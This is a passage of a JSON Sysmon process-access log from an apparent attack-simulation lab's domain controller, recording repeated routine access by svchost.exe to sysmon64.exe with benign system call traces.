C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1341,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1342,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1343,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1344,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1345,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1346,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.639\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.639","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1347,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1348,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 